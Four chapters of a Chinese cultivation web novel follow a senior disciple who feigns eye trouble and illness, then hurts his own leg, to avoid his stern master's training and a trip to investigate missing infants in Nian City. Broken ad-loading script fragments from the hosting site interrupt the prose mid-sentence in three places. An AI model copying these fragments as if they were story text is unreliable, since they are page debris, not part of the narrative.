《大师兄他,他跑了!》 7. 尚有眼疾 说卯时便是卯时,宁归砚虽说作息健康,但也没如此健康过,鸡都没起他就得起来,索性一晚上没睡,早早便出了屋子。 两个主角的住所不远,宁归砚先去叫了较近的景弗,人还没进屋,在门边就瞧见了持着一柄木剑舞动的少年。 他微微挑眉,在门边敲了敲。 正动作的少年愣了愣,将剑收起,颔首唤了宁归砚一声:“师兄。” “出门左转一直往前走,练武台的后面便是外门弟子的膳堂。” 他说着,从束腰上挂着的荷包中拿出几枚铜钱。 “山中堂食也需要银钱,你刚入山,可能不知道,我得去叫上林师妹,可能烦你帮我去买上早食?” 景弗的视线从那几枚铜钱转移到宁归砚脸上,那挂着笑的面庞上出现疑惑。 半晌,景弗动了动唇。 宁归砚在他开口前走近两步,将铜钱放在少年手心。 “别让你师妹等急了,等卯时前去竹林,师尊不喜欢人迟到。” 说罢快步离开,也没给景弗拒绝的机会。 宁归砚远离了景弗的住所,叹了口气拍拍腰间空荡荡的地方,摸了摸肚子。 “我是不是也得吃饭?” 也许是辟谷了,几天不吃也没觉得饿,但馋劲是有,但想了想,宁归砚还是摇摇头朝林言言住的方向去。 女弟子都住在一处,林言言是新来的,住所自然在最后。 宁归砚笑着和早起去晨课的其他弟子招呼几句,然后推开弟子居的门,在屋前抬手敲了敲。 “林师妹,可起来了?” “啊!来了师兄,你等等我啊!” 屋内传来女孩清爽喜悦的声音,想来是早早就起了床。 宁归砚听着脚步声,后退一步,门开后,他对上林言言微红的脸,浅浅笑着,侧身。 “那便随我走吧,今日师尊尚有闲暇,能得空指导一番。” 林言言点点头,跟在宁归砚身后,问题层出不穷。 “师尊什么时候来啊,师兄,我们不和师姐师哥他们一起吗?” “师兄,还有一个人,我是叫他师弟还是师兄啊?” “没有拜师仪式,我都不知道怎么称呼,师尊是不喜欢这些规矩吗?他看起来好凶,我是不是得话少一点?” 宁归砚也觉得她话有点多,但还好,能忍受,听听也没什么。 在人喘了口气睁大眼看着他时,宁归砚才回答了那些问题。 “平时怎么做,今后就怎么做,稍后先吃点东西,景弗比你稍小几个月,是你师弟。” 说着停顿了一下,转过身看向林言言,看得人一愣。 “至于师尊,在他面前少说少做就是了,不用怕。” 这样温言细语地安慰,仿佛被吓得手抖的人不是宁归砚,一剑差点给门下大弟子带走的也不是那位‘不用怕’的师尊。 林言言松了口气,认真地点头后跟在宁归砚身后,偶尔看见新奇的事物便喋喋不休,宁归砚一路听着,偶尔回答几句,很快到了小竹林。 宁归砚将人带到里面,抬手指了指一旁的石桌石凳,待人坐下后,景弗没多久也到了。 少年手里捧着被油纸包住的食物,他低着头走过来将其放下,里面的食物露出来——四个包子。 宁归砚撇眼看了一眼,刚要说话,少年就摊开手将剩下的铜币放下。 宁归砚愣了下,抬手将几枚铜钱收起,挥挥手觑了眼冒热气的包子。 他催促:“坐下吃。” 说完,站着的少年没动,宁归砚起身,将两柄桃木剑从储物袋内拿出放在石桌上。 “你们俩还未辟谷,先吃饭,这两柄木剑,等会用,之后会有师兄带你们去选一柄趁手的法器。” 说完,宁归砚拂袖走到另一处的石凳上坐下,拿出一本书就看起来,丝毫也没在意其他两人举动的样子。 景弗眨眼看了眼石桌上的包子,喉头滚了滚,被一声呼唤拉回注意力。 “师弟!” 他对面的少女弯着眼,毫不客气地从桌上拿了一个包子,几乎赶得上她手掌大小了。 她咬了一口抱怨又嘟囔:“这包子怎么这么大?素的?” “师弟快吃呀!等会师尊来了就不能吃了。” 她说着,一只手挡着嘴角朝景弗小声道:“弟子居的师姐跟我说,师尊这个人脾气特别不好,也不是不好,就是不喜欢在规定的时间内做规定外的事情。” 林言言将剩下三个都推过去:“我吃不完,你能不能吃得下啊?” 景弗抬头看了眼,点点头将油纸拖过来。 “嗯。” 宁归砚散出去的目光聚拢,他翻开压根没看懂一点的画满阵法图案的尾页,随后顿了顿,将书翻转打开扉页。 山中气候偏干冷,因此卯时的温度也令人在意,宁归砚垂着眼差点睡着,又被冻清醒,醒来便看见旁侧靠近的人影。 季宿白站定,低头看了捧着书的男人,抬手将法器唤出,剑尖在宁归砚目光落点抖了抖。 随后宁归砚便听见男人沉着声音叫上两位刚刚用完膳食的少年近前来。 “名字。” 季宿白冷冷询问。 两个人乖乖答上,颇为活泼的林言此刻也没多说什么其他话,低眉顺眼乖巧得很,看来是被冷脸的人给吓得有点怕。 宁归砚唇角翘起些微,心里还没笑出声,就被点了名。 他放下手里的书,站起身颔首:“师尊。” 季宿白未说话,而是朝宁归砚腰间的玉笛瞧了眼。 宁归砚随着他的视线低头看过去,顿了顿听见男人开口:“既然是大师兄,那便做个表率吧,和他们一起,先教他们御剑。” 宁归砚身体一僵,眼前一黑,张了张唇回一声好。 随后他看着男人颔首坐下,两手一挥桌上便多了套茶具。 “师兄?” 林言言的声音传过来,宁归砚转身微微笑,心里却想着别的。 让我昏死过去吧。 别说是御剑了,他连最基础的术法也是才学会,翻了整个藏宝阁,能看懂的也就那些不用画符的小术法了。 “去那边吧。” 宁归砚面上波澜不惊,指了指北侧小竹林的边缘。 林言言和景弗乖巧地过去,在那边等了一会才看着宁归砚慢吞吞地从储物袋里拿出一本书,再慢吞吞地走过来。 究竟有多慢,就跟她爹带着她去其他门派和友人叙旧聊到她未来要去哪个门派修习的问题,任凭风吹雨打也没法将两人隔开的慢。 宁归砚近了两人身前,将手中攥着的书折开一页摊出去。 “这是御剑术的咒法,先熟悉一下,不懂的地方可以问我。” 两人懵懵懂收下,宁归砚满意地点了点头在一旁石凳上坐下,一手撑着石桌,一手捂唇轻咳,心里想两个小孩真好糊弄。 可惜他还没安生多久,远处冷飕飕的目光就落在了宁归砚身上。 宁归砚没法将那道目光无视,只能硬着头皮将先前那本拿反的书拿出来,一边心不在焉看着,一边用咳嗽掩饰脸上的心虚,偶尔朝两位主角的方向看上一两眼,显得没那么敷衍。 没到一刻钟,景弗就站到了宁归砚面前,目光耿直地看着宁归砚,耿直地指着书上的咒法:“师兄,这个,不太明白。” 宁归砚低头看了眼,心里一哼。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 老天待我真——如私生子。 他腹诽一番,低头凑过去看,几秒后抬头随后掩唇咳嗽。 肩膀随着咳嗽声抖动着,难忍的嗓音变得有些刺耳,黑纱边缘的位置浸湿了泪痕。 景弗眨了眨眼,后撤一步有些紧张地迟疑着询问:“师兄,你……” 此刻天色未明,隐藏在薄弱光线下的脸绷直了嘴,宁归砚低下头,摇着脑袋。 “我没事。” 说完,深吸一口气又咳了几声,破有点要昏天黑地的姿态,看的人胆战心惊。 宁归砚拢了拢袖,刻意无视再次投来的带着审视的冰冷视线。 他略微抱歉:“我尚有眼疾,现在天色未亮,我有些分辨不清,师尊比我更有见解,你天赋佳,想必一点就通。” 吹了一波彩虹屁,还是一箭双雕,宁归砚拿起他放在石桌上的玉笛起身。 景弗看了他一眼,“哦”了一声跟上林言言去找对角的男人。 宁归砚分出一点注意力在那边,竟然也能听得一清一楚。 和他想象的不一样,季宿白的教导倒是中规中矩,没有过分的挑剔也没有过度的解释,言语简洁一句话就能说到点子上,宁归砚听了半天,竟也记得他说的几个术法,回过神来时脸上一阵白一阵红。 看时机差不多,宁归砚拿上他放在石桌上的玉笛,他起身放下掩唇咳嗽的手。 此刻太阳已经升起,也用不上什么‘眼睛不便无法辨物’的借口了。 季宿白听着那柔柔弱弱的咳嗽声渐近,晃了晃手中的茶盏,细抿一口后一只手搭在剑侧。 “何事?” 他抬眼看着宁归砚,可惜看不见那双眼睛,只能看见扭捏造作颤抖的肩膀。 宁归砚见人注意到他,咳得更大声了。 他缓了下,从情绪里抽脱出来,规规矩矩地唤了一声“师尊。” ‘师尊’微微抬头,歪头看着,不言语的姿态莫名令人心虚。 奈何宁归砚早做好了准备。 他轻吐一口气,像在床榻躺了半辈子似的:“弟子身体不适,恐是受了寒,可否先行去药堂一趟?” “哦?” 季宿白不冷不淡疑惑一声。 “在山顶走了两遭,便就要死要活了?” 他忽然站起身,朝宁归砚靠近一步,目光落在对方蒙眼的黑纱上。 “有眼疾?昏黑时看不见?天一山地形复杂,你倒是好好地活到了现在。” 宁归砚背在腰后的手差点攥成拳,他心里暗自埋怨,可面上保持冷静自持。 正要开口胡扯,远处有人闯进了有些剑拔弩张的氛围。 “掌门!” 一内门弟子在入口处站定,等季宿白挥手坐下才近前来。 “掌门,上旬我们派往廿城除魔的几位师兄弟,都——” “都一去不返,从廿城回来的其他宗门子弟说,城内婴儿失踪的数量已经达到了数十位,长老命我来通知,商讨廿城除魔的事宜。” 季宿白不紧不慢讲手中的茶喝近,在报信的弟子忍不住抬头时。 他询问:“数十个婴儿?” 那位弟子立刻回答:“是。” 季宿白:“可找到过遗骸?” 弟子:“并未,奇怪的是,就连失踪的几位师兄弟,也找不到人,连尸身都没有踪迹……” 宁归砚在一边听着,心里咋舌,旁侧的人忽然就唤了他的名字。 “找不到遗骸,不是历鬼,便是没死。” “宁归砚,收拾好,带着他们跟我下山。” 宁归砚目光怔怔,从没请到假还得下刀山上火海的事实里回身。 啊?原著也没有这茬啊? 8. 不能动? 翌日清晨,太阳半遮着面,含羞带怯地照在山腰下山路口的石板路上。 路上已经站了几个人,包括景弗和林言言在内,其余都是送行的师兄师姐,见到来人,便招着手。 宁归砚远远就瞧见聚拢的几人,目光落在两位主角手上的长剑上一顿。 林言言瞧见上方清隽的身影,高举起手挥动:“师兄!” 宁归砚扬起唇,刚要回应,便听见林言言未完的话。 “师尊!” 他半抬的手一晃,接着虚虚抬着,朝林言言那边挥了挥,这才转身朝不知道什么时候来的季宿白问好。 “师尊。” 下方送行的几人见来人,毕恭毕敬地唤了掌门,随后就借口早课来不及离开了,走时给宁归砚塞了不少东西,都被他放进才知道用法的储物袋中。 季宿白颔首瞥过宁归砚,越过人跨步朝下方两人方向去。 他一手抬起指尖在虚空中稍稍一划,那柄泛着寒光的长剑便横在身前。 “昨日所学,今日便看看你们的成果,自己御剑抵达廿城,没人会等你们。” 他说完,林言言扬声一句“那师尊我先走一步!师弟你可要抓紧了”后便将手中的剑一横,咒术和指法配合,手中的剑便颤颤巍巍地浮在空中,很快便稳定了姿态,破空一声便失了影子。 景弗也够快,宁归砚晃眼抬头时,对方已经站了上去。 宁归砚看着已经空荡荡的地方,忽觉喉咙干涩,喉结动了动,不太情愿地将玉笛从腰侧取下。 他神色未变,将剑挥远了些。 幽长的小径上只余下两人,宁归砚下意识心虚地朝季宿白的位置瞧过去,迟疑了好一会。 就这一会的时间,季宿白脸上的表情从疑惑变成了不易察觉的讥讽,或者也带有那么一点对于新事物的兴致盎然。 他朝宁归砚冷哼一声,身后的剑高高悬起后忽地在两人周身旋转一圈,速度快得让人眼花。 “快点追上来。” 宁归砚听着对方留下这么一句话,眼前的人便如同眨眼的星子无影无踪了。 人走后,身边的冷冽便消散不少,宁归砚衣摆被微弱的风吹起些许,他将手中的玉笛伸出,嘴里默念几句后成了一柄青玉色的长剑。 随后他低下头,两眼一闭仿佛赴死,一头栽倒在了一边的灌木内。 离开的人等了一会,不见后方的人追上来,眉头一皱又折了回去,没落地就看见坐靠在树木旁低头的宁归砚。 季宿白踏上地面,剑身一晃消失,他停在嘴唇稍显苍白的宁归砚面前,目光瞥过对方身上大大小小的划痕,眉头不由得一皱,在瞧见宁归砚腿上被撕开的布条随意绑住的伤处,嘴角下敛,风雨欲来的模样。 “你的眼睛是摆设?” 说完目光上移,一顿,又道。 “一时半会的时间把自己搞成这个样子,也再难有你这样的才人了。” 宁归砚被这样一番尖酸也未曾有半分其他情绪,只是定定看着自己腿上的伤,偶尔露出难忍的神色,气虚着道:“是弟子粗心大意,不慎被绊住,前几日寒气入体,伤时加剧,恐是动不了灵气,此番怕是不能和师尊下山了。” 说完,想要的回答迟迟没落下。 宁归砚抬目,与季宿白那双漆黑的眸子交映,他从中看见了思忖和烦躁,但显然是没有要开口同意宁归砚留在山中的意思。 空气沉寂时,男人冷不防开口:“不能动?” 宁归砚扯出抹难看的笑,张口就要回答,只是被季宿白突然的动作给惊到,随着对方将他强硬拉起,额头上的冷汗又多了不少,被风一吹,就觉得脑袋像被敲破了的空芯器物。 腿上的伤口似乎被扯开了,宁归砚看着自己豁出去极大勇气弄出来的伤口被季宿白指尖轻点几下便止住了血,心里的感受趋于复杂,还没等他暗自吐槽,对方便将手中扯下来的布条一扔。 随后季宿白看着那条颤颤巍巍的腿:“这不是能动?” 宁归砚撑着的手一颤,他抬头看向季宿白,只能匆匆瞧见对方清晰的下颌线和下压的唇角。 季宿白背过身,脑袋微微偏向后方宁归砚的位置,随身的剑“唰”的一声横在两人中央。 “上来。” 正在心里搜摸着解释和借口的宁归砚被一句话噎住,他看看那柄灰黑的剑,再瞧瞧自己扶着树站都站不稳的样子,将唇瓣都要咬破,可他骂不得,怕被毁尸灭迹。 于是只能将怨怼咬碎了往肚子里憋,看似轻易地勾出一个笑。 “那,多谢师尊。” 说完,将脚一抬,额头的汗便如同点滴了,却不听半声痛苦。 脚刚碰上剑头,宁归砚就有点撑不住,歪身一倒,觉得这样摔晕过去也不错,不用下山了。 肩侧的力量来的迟,却恰恰好没让宁归砚狼狈不堪。 男人的手在肩侧重重捏着,将人半推着上了剑身。 宁归砚还没来得及闭眼便痛呼一声,此刻才硬生生被逼出了泪,挂在眼尾被前方覆盖的黑纱吸引消失,只余下一句说了半句的话。 “你爸... ...” 爸的。 季宿白耳力可不差,听得一清二楚,垂眼将人肩膀一松,嘴角上扬一点,似乎在笑。 “你刚刚,说什么?” 宁归砚差点又摔了,他那条腿被自己弄得太狠,站起来已经是极限了,又怕疼得狠,一忍不住了,就抬手抓住了季宿白的手臂,力气大得很,像是故意报复一般又紧紧地攥着衣袖。 然后他无辜着脸,将变脸表达得淋漓尽致。 宁归砚颤着声音:“脚,脚下有湿泥巴,站不稳,能抓着师尊吗?要不然,我就不去了... ...” 小心思还没说完,季宿白甩开他的手,撇头看了一眼,见人就要原地坐下,拧着眉再次提溜着宁归砚的肩膀。 “别动。” 说完,弯下腰,手指在腿侧重重点了几下,嘴唇稍稍动,虚空画了串符文。 疼是止住了,但腿可没知觉了,一个不留神,人就直接趴在了这位冷面阎王的背上。 宁归砚给自己的墓志铭都想好了,闭眼等掀的时候,感受到身下胸腔的震动——是某人的嘲讽。 而后嘲讽的那人竟然‘平和’地将人扶稳,虽然一脸嫌弃,但也没让宁归砚下去。 走前宁归砚似乎隐隐听见对方开口说了句话。 “天一山的膳堂怕是吃食太好了。” 这话落,宁归砚小心眼地在对方手臂上捏了一下,不疼,但偏让前方的人身躯又一震,而后厉斥:“再乱动,就下去喂鹰。” 随在隐秘处的黑鹰发出一阵长鸣,显然是嫌弃宁归砚还不够塞牙缝。 人第一次在天上飞,落地的时候免不了一阵恶心, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 因此宁归砚到了目的地也不用季宿白把人往下拉,他自个就梗着脖子招呼一声不打去旁边巷内吐了。 等胃里翻腾的感觉下去一点,宁归砚要了个客房,叫了壶热茶,顺便将送茶的店小二拉住,手里塞了好些铜板。 店小二一瞧,略显困顿的眼睛立刻冒出精光,一手在身上搓搓,捧着铜钱颠了颠看向宁归砚,看大恩人似的:“客官,这,这是?” 宁归砚粲然:“小兄弟,能打听点事情吗?” 店小二:“自然自然,只要是我知道的,客官您想问什么我都能答上来!” 宁归砚满意地点点头,朝窗外一瞧,鼎沸的人声掩盖了楼下的哄闹,他便也没压着声音:“我来此处,是来寻亲,嫂子家新添了人,但我却不小心把家里人给我的地址弄丢了... ...” 他说着,一边观察那店小二的神情,对方脸上露出了明显的怔愣和避讳之色。 “便想问问,可知道这城内,有什么人家,刚刚添了新丁的?” 话落,店小二面露难色,看着宁归砚欲言又止。 宁归砚弯了弯眼睛:“若是为难,也无碍,我再去问问便是。” 他退一步,店小二抓着手里的铜板,最后还是开口。 “客官,您是要寻刚生了孩子的亲人?这,恐怕是有点难,而且... ...客官还是等过些阵子再去寻人吧。” 他左右看了眼,抬手招呼宁归砚,在人耳边低语。 “这城里啊,晚上闹鬼,最近一月出生的孩子全被掳走了,甚至,甚至还死了人!” 说完,店小二便哆哆嗦嗦抱着端盘后撤。 “总之,客官,您也别说我唬人,这宁可信其有不可信其无啊。” 宁归砚看着人离开,将门掩上,背靠在门框,低头看着自己开始隐隐作痛的脚踝,又开门将人叫了回来。 店小二上下打量,担心这位客官想去送死,张了张唇想要劝说。 宁归砚抬手,指了指自己的脚,问:“有拄拐吗?我好像走不了了,顺便,能帮我请个大夫过来吗?” 廿城白日喧哗,甚至街道上都高高挂着红灯笼,过一圈都以为自己是去参加灯会的。 林言言和景弗没多久就到了地方,两人明显累得不轻,进店就闷头倒地了,季宿白托人将他们送到客房后便出去了。 宁归砚见人出门,又包扎好了,没多久就拄着拐杖在店小二担忧的目光里朝着反方向去。 彼时街道上的声音少了大半,周围都是些收摊准备回家的商贩,匆忙中偶尔朝道路中央瞧上两眼,便又面露好奇地继续手上的活计了。 商铺前挂的灯笼被点亮,映照得宁归砚脸上一阵红热,风影在脸上摇曳,风往北吹,灯笼朝南晃着,宁归砚盯着看了半天,抬脚朝向风处去,脚步有些急。 走了不知道多久,没了灯笼的映照,眼前的路就暗了,延伸处一条狭窄的小巷,宁归砚在巷口停下,手敲了敲拐杖,回响荡在身后。 廿城的高墙将这城都包裹成了一处囚笼般的地方,风难进来,便是吹不起那一盏盏灯笼。 周围的冷意渐渐盛了,不知道是不是夜里人容易受惊慌,宁归砚总觉得前方有道灰白的影子,飘荡来飘荡去,也连带起一阵低泣,像孩子在哭,哀恸不已。 腰侧的玉笛被攥在手心,宁归砚呼吸一屏。 “铛,铛,叮叮叮——” 9. 打更人 风旋着白色的花骨朵往下落,又被扬起砸在墙面扑簌簌坠落,像撒下了一捧尘土。 后颈忽然掠过一阵冷,随后便如同黏液一般粘住,耳侧的铃铛声伴随隐隐约约的哭声再度响起,宁归砚抬起的手悬住,在静谧中又听见渐近的脚步。 他眨着眼睛,捏紧手里的拄拐,倏然猛转身。 “关门关窗,防偷防盗——” “叮叮铃——” 巷口转出一位打更人,身着黑衣在漆黑朦胧的巷内却也能看清面容——是位岁数不大的青年,见了巷内的人,慢步走来,带着疑惑询问。 “公子,可是寻不到路了?” 宁归砚吊在嗓子眼的心稍稍落到了实处,他垂眸,听着对方近了后消失的铃铛声,于是开口:“只是随便走走,我方才听到了铃铛声,可是先生身上带了?” 那打更人将手里的铜锣单手拿着,低头晃了晃腰间的物什:“只是个小玩意,吓着公子了?这地方常人不走,也没想到有人,见谅见谅。” 宁归砚摇着头:“怎么会,不过,现在已经是二更天了?” 打更人:“对,公子是外地人吧,若是无事,便快些回去吧,这城内,入了夜,可不太平。” 虽说不太平,但此人的语调内却没有丝毫恐惧,说这么一遭大概只是为了吓走宁归砚。 宁归砚忽然有些好奇了:“传闻我也听过一些,不过,既然先生提醒了,先生不怕吗?” 打更人的动作顿住,他拿着铜锣刚要开始敲响,闻言似乎是笑了一声,眸子朝深处绵延,手里攥着的绳结被他晃了晃,和铃铛的声音重合在一起,随后向巷口深处去。 “公子说笑了,我一个打更人,若是怕了这些,也不会出现在这不是,而且这神啊鬼啊的,谁能说得清啊... ...” 青年的声音远了,铜锣彻响的声音还荡在耳边,宁归砚抬起拄拐,没往回走,而是眯了眯眼,在铜锣声消失后,陷入了沉思。 若是没恍惚,在这人出现前,他未曾听见铜锣近了的频率,对方像是忽然出现,恰恰将他拉出了这困了一个时辰的区域。 但终归也是只是想想,若真有什么,他也不想掺和。 宁归砚转过身,瞧清了前方的路,有些许人家屋内亮起的灯火照映几分,巷内却是像彻彻底底被裹住了的物什,一层一层的黑密不透风,他就跟着那几声打更声远去,忍不住回头瞧了眼。 眼前的视线不清晰,便想要抬手将眼前遮挡视线的黑纱扯下,感觉到后面落了脚步,于是拉扯的动作一转,手里的拄拐便向后迅速扫过去,被人牢牢接住。 宁归砚手往外推不动,拉了拉,对面的人便开了口。 “你倒是会逛。” 手上相互的力度卸下,宁归砚将拄拐撑着,朝季宿白的位置看过去,抿唇放下拉住后脑的眼纱。 “闲来逛逛,师尊找我?” 季宿白扫了他一眼,侧身朝巷外看:“几个时辰不回来,林言言他们出去找你了,可能怕你死在外边,毕竟城内闹鬼不是嘛。” 宁归砚装作没懂,随着对方的脚步出了巷子,光照在身侧男人脸上,这才看清人的表情——还是那副看人一眼就要把人吞了的样子,垂眸看向自己时,则敛了眉眼,嘴角压得实。 “你身上怎么回事?” 宁归砚对这问题不明所以,想来几秒才恍然。 他指了指巷口深处:“兴许是碰上邪祟了,但没见到原身,只是被气息缠住了,身上多少沾了些。” 季宿白顺着他指的方向朝里看过去:“你刚刚碰见谁了?” 宁归砚:“一位打更人。” 季宿白:“打更人?城内夜里人不多,我来时,并未听见打更声。” 话断,季宿白抬手捏住宁归砚肩膀,肩侧的衣服被攥得紧,褶皱深刻,像对方密不透风的气压,周围的寒意也涌了上来。 宁归砚心里忽然打鼓,但想起自己没说谎,身体就放松了下来,抬目看向季宿白时,多少无辜之色,将人眼睛晃得松了一刻。 他抬手拉住季宿白捏在肩上的手,用了用力气弱道:“师尊,疼,能先松开吗?” 说完肩侧抖了抖,十分配合,但脸上的额汗显露出并不是虚言。 季宿白定神看着宁归砚思忖许久,松开了人,眼神还直勾勾的。 随后他启唇质问:“你去那巷内做什么?” 宁归砚答:“入了迷阵,没走出去。” 他在藏书阁看了不少书,也知道自己陷入了怨气所形成的鬼打墙,这种迷阵虽说不是简单鬼魂可以施加,但以原主的能力,是能发现并快速解开的。 因此他又添了一句。 “我寻到此处,但没发现什么东西,便想先回去。” 季宿白大约是信了他的话,朝巷内走几步,忽地抬起手,指尖虚空画出几道符文,符文聚成阵落地。 术法成,他踏出步子往外,看宁归砚的神情少了些怀疑:“走吧,你师弟师妹在找你。” 宁归砚站直,揉了揉肩,朝巷内看一眼,蹙着眉头跟上了季宿白的步伐。 两人回到客栈后,两人才知道林言言和景弗两个人压根就没有回来过。 季宿白去客房内拿了点东西,宁归砚就跟着他一块出去找人了。 夜里人少,除了路边微亮的大红灯笼,极少能见到人,因此季宿白也不用避着旁人,在大街上便捏着符篆施加咒法。 手中的符纸灼烧起来,在火焰沾上了林言言的东西后迅速炸开火星,随后冒出的灰烟朝一方袅袅去。 “跟上。” 季宿白丢下话,快步跟上去。 灰烟消失在一处狭小的街道,路的两边没了灯笼,宁归砚紧了紧手里的拄拐,踮着发疼的一只腿,艰难地跟随季宿白没入了黑暗。 两人来时拿了盏煤油灯,灯在巷内被点燃时,周围阴寒的气息被驱散些许,宁归砚定神向前一看,加快了脚步过去,也顾不上疼了。 林言言和景弗两人昏倒在地,旁边还有拖曳的血迹,血色在他们身下铺洒开,却又枯焦黑沉得像被灼烧过,可周围却全然无烧灼过的迹象。 季宿白走近去,蹲下拍了拍景弗的脸,景弗侧在一边的脸颊就显露出来。 他脸上被血痕压迫,仔细一看却不是属于他自己的伤口,将他全身上下找遍后也只找到肩侧一处淤青,似乎是撞击在硬物上造成的,而林言言身上就更没有伤处了,就只是晕倒了过去。 “怎么样?他们没事吧?” 宁归砚这话一问出来,季宿白重压在景弗手肘经脉处的手停下了动作,那双漆黑的眸子迎上来,要把人看穿似的。 宁归砚后背一紧,猜想是自己说错了话,却听见对方一句不以为然。 “没事,晕倒了而已,先带回去。” 说完,却并未将人架起,而是从储物袋内唤出一盏灯,灯出来时是暗的,没 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 多久就发出莹莹的光,颜色不一,有些白色,有些则是蓝色。 这灯是驱魔灯,灯亮时有蓝光说明附近出现过邪祟一类的东西,而亮白光,则是此地不久前有被邪魔影响的人类,而这盏灯内,恰恰好三点白光。 季宿白目光从上面移开,神色深沉,收了灯,抬手在此地做了几处标记,又将几张符篆贴在墙边隐匿,随后设下阵法,做完这一切才让宁归砚先行区客栈叫人将两人抬回去。 将两人带回了客栈,解开他们身上的术法后,两人便悠悠转醒。 宁归砚同季宿白一块在景弗房间守着,等人醒来,他站起身,走到床边,给人倒了杯热茶,待景弗喝下之后,担忧着神色。 紧接着询问当时在小巷内的情形。 “师弟,你怎么会晕倒在那里?是遇上什么麻烦东西了?” “在你晕倒前,是不是还见过什么其他人?” 景弗晕晃晃的脑袋转了一会,才醒悟般看向季宿白,等对方点头,他便开口说出了情况。 “我当时和师姐去找师兄,在路上问你的去处,半天才打听到一些,然后就随那人去了偏僻的小巷,起初本来是怀疑他是在骗我们,想离开的,但那人突然就被吓到了,然后就跑了... ...之后的事情,我不清楚。” 宁归砚听着,皱了皱眉,大概是与他心里所想的不符,有些郁闷。 “什么人?” 身后的男人端着茶盏,抿了一口轻声问。 景弗:“是个农户,家里好像还养羊,我在他身上闻到了,去那小巷,就是为了带我们去他所在的村户里找人。” 他低头闷想了一会,恍然抬头。 “哦,对了,师兄,师尊,我还听见孩子的啼哭声了。” 字眼抓住了宁归砚的耳朵,他偏过头去。 “孩子的啼哭声?还听到其他声音吗?” 景弗对此摇摇头。 见人再答不出什么话,季宿白站起身,将茶盏放下,拂了拂袖,侧目看宁归砚一眼。 “既然该知道的都知道了,你也没什么伤处,那明天一早,待我们去找那农户,至于你大师兄,”他话停了下,嘴唇带上笑意,浅浅淡淡的,“宗内的药敷上,腿明日就能好,记得早些起。” 说完,扔下一小瓶药膏,随后扬长而去。 宁归砚将东西收起,扯出笑面对景弗,简单问了对方是否不舒服后便离开了。 翌日,四人通过城内的小路到了近郊的一处村落,村落不大,大概二十几户的模样。 几人进了村,问了好几个人,才寻到那养羊之人的住所。 而村内,也只有那家养了牲畜。 林言言走在前面东看看西看看,全然没有被魔怨之气影响的样子。 她同景弗好奇这周遭,宁归砚则偏头瞧着附近的布局——屋子一行排开,大都是泥土堆砌着砖瓦。 他看了一会,觉得这里是个养老的好去处,随后眼睛一晃,看见了一抹白。 宁归砚疑惑着站定脚步,走在后方也没人发现,等那东西走过来倒在地上的时候,已经来不及。 “啊!我的羊啊!你个偷羊贼!你还我的羊!” 还没从震惊和惊吓当中醒悟过来,宁归砚就被一声粗犷的高吼惊住了神,侧过身去看,来人浓眉大眼厚嘴唇,络腮胡子看着就不好惹,手上还举着一把割草料的镰刀。 那镰刀径直就朝宁归砚脑袋过来了。 10. 顿时变了脸 “你还我的羊来!” 出声的人手上持着一把锋利的镰刀,刀尖正对着宁归砚,他大步走过来时,那镰刀被季宿白的长剑挥开,宁归砚顺势往季宿白身后躲去。 末了,他抬手对上男人戏谑的目光,意料之中听见季宿白吐出两个字。 “废物。” 宁归砚:“... ...。” 嘴里喊着要赔偿的男人腕也跟着力道往后折,本是没多少力气的,最多有些酸疼,那男人就同被砍了手一般要死要活。 他看了看季宿白,即刻坐在地上,大声叫着:“救命啊,杀人了,杀人了!偷了我的羊,还要杀人灭口,这世道为何如此啊——” 宁归砚在后面压了压耳朵,皱眉听着那男人嚎叫,将腰侧的玉笛唤出,仿佛想起他还有个法器能用,嘴上刚悄咪咪念上咒法,远处将镰刀打落的灰黑长剑又旋了回来,直直插在男人身前。 那男人耳边的头发被削去一些,他怔了怔,随后撕心裂肺地趴在地上往后爬,直到涕泪横流,季宿白才嫌弃地走到他面前。 “别杀我,别杀我,羊我不要了,我不要了... ...” 季宿白越是靠近,男人便叫得愈发大声,周围的人都看了过来,偶尔有抬手指指点点的。 宁归砚皱着眉,看不下去,拉住季宿白要抬起的手,对对方点了头后,往前过去放低了声音和姿态。 “这位大哥,你别怕?怎么会无缘无故杀人呢?而且你这羊,是它自己跑出来的,不是我杀的。” 或许是宁归砚的模样太柔和,也或许是他眼前的那层纱和略微无奈的声音,不过更多的是季宿白未做其他事情,这让男人的勇气又回来了许多。 他瞪着眼睛看面前的宁归砚,即便对方是个瞎子,有季宿白在,他也不敢过于粗鲁,可语气也稍稍不满:“那你的意思,是我这羊自己死的咯?扯谎都没这么扯的吧?就是你杀的!偷我的... ...” 季宿白的目光一扫过来,身后那柄深深陷入土壤中的长剑悬起,耳侧掠过的轻微的风让男人立刻噤声。 宁归砚暗道脾气不好也有脾气不好的好处。 他也懒得与那男人再费多余的口舌,侧身看过景弗,眼睛眨了眨,对方便了会了他的意思。 景弗点头肯定:“是他。” 说完,林言言也上前来,歪着头弯腰笑笑:“大叔,你快起来吧,坐在地上多不好看,这周围的人都看着呢。” 大约是想到昨天被唬了一遭,笑容有点骇人。 “而且啊,昨天不是说帮我们找我哥哥吗?虽然人我们自己找到了,但是大叔你自己丢下我们跑了是不是不太厚道,欸,你怎么没晕啊?那巷子里的贼人放过你了?” 她话说到这,男人的眼神变化,他站起身,别开脸哼一声,没有回答林言言的话。 “那可不怪我,我确实看见你说的那个男人往巷子里走了,再说了,哪里有什么贼人,分明是你们身体太虚,自己晕倒了怪到我头上来,我还没说你们俩把我吓倒了呢,再说了——” 他斜眼瞧了下季宿白的方向,对方压根没往他这边看,而是朝那羊的尸体盯着。 “再说了,你们手上拿着剑,也没人敢扒你们。” 宁归砚听着,勾起了唇,不知道是想到了什么好玩的,拍了拍林言言的肩膀,走近对方:“大哥也没说错,只是我们毕竟是外地人,之前买制作衣服的料子,被坑了点银子,所以警惕些,怕是遇到贼人,好在没丢什么东西,听家妹说,您家是养羊的?” 男人正拍着身上的泥土准备,四周的人也七七八八散了不少,显然没有那个八卦的心情,因此听见宁归砚的话后,立刻变了笑脸,喜气洋洋地迎上来。 “客气客气,公子叫我刘大哥就行了,家里虽然穷,但也有二十多只羊崽子,成年的羊也不少,公子需要衣料?拿羊毛去做正好啊!管多管够!公子要多少啊?” 